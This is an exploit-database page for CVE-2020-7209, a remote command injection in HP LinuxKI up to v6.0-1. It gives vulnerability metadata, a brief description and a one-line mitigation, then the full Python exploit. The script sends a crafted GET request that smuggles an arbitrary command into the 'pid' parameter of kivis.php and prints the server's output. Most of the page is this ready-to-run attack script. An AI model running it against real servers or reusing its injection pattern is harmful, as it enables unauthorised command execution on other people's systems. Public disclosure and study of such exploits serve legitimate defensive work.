header-logo
Suggest Exploit
vendor:
LinuxKI
by:
Cody Winkler
9.8
CVSS
CRITICAL
Remote Command Injection
78
CWE
Product Name: LinuxKI
Affected Version From: <= v6.0-1
Affected Version To: <= v6.0-1
Patch Exists: YES
Related CWE: CVE-2020-7209
CPE: a:hewlett_packard:linuxki:6.0-1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: LinuxKI Docker Image
2020

HP LinuxKI 6.01 – Remote Command Injection

HP LinuxKI is vulnerable to a remote command injection vulnerability due to insufficient sanitization of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This can allow the attacker to execute arbitrary commands on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of HP LinuxKI.
Source

Exploit-DB raw data:

Exploit Title: HP LinuxKI 6.01 - Remote Command Injection
Date: 2020-05-17
Exploit Author: Cody Winkler
Vendor Homepage: https://www.hpe.com/us/en/home.html
Software Link: https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-1
Version: <= v6.0-1
Tested on: LinuxKI Docker Image
CVE: CVE-2020-7209

#!/usr/bin/env python3

import requests
import argparse
import sys
import re

def parse_options():

	formatter = lambda prog: argparse.HelpFormatter(prog,max_help_position=50)
	parser = argparse.ArgumentParser(description='HP LinuxKI <= 6.0-1 RCE - CVE-2020-7209', formatter_class=formatter)
	parser.add_argument("-i", "--ip", dest='host', type=str, help="Target Hostname/IP", required=True)
	parser.add_argument("-p", "--port", dest='port', type=str, help="Target Port", required=True)
	parser.add_argument("-c", "--cmd", dest='cmd', type=str, help="Command to execute", required=True)
	args = parser.parse_args()
	return args

def main(args):

	host = args.host
	port = args.port
	cmd = args.cmd
	path = '/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;echo BEGIN;%s;echo END;' % cmd
	rce = requests.get('http://' + host + ':' + port + path, verify=False)
	output = rce.text
	a, b = output.find('BEGIN'), output.find('END')
	print(output[a+6:b])

if __name__ in "__main__":
	args = parse_options()
	main(args)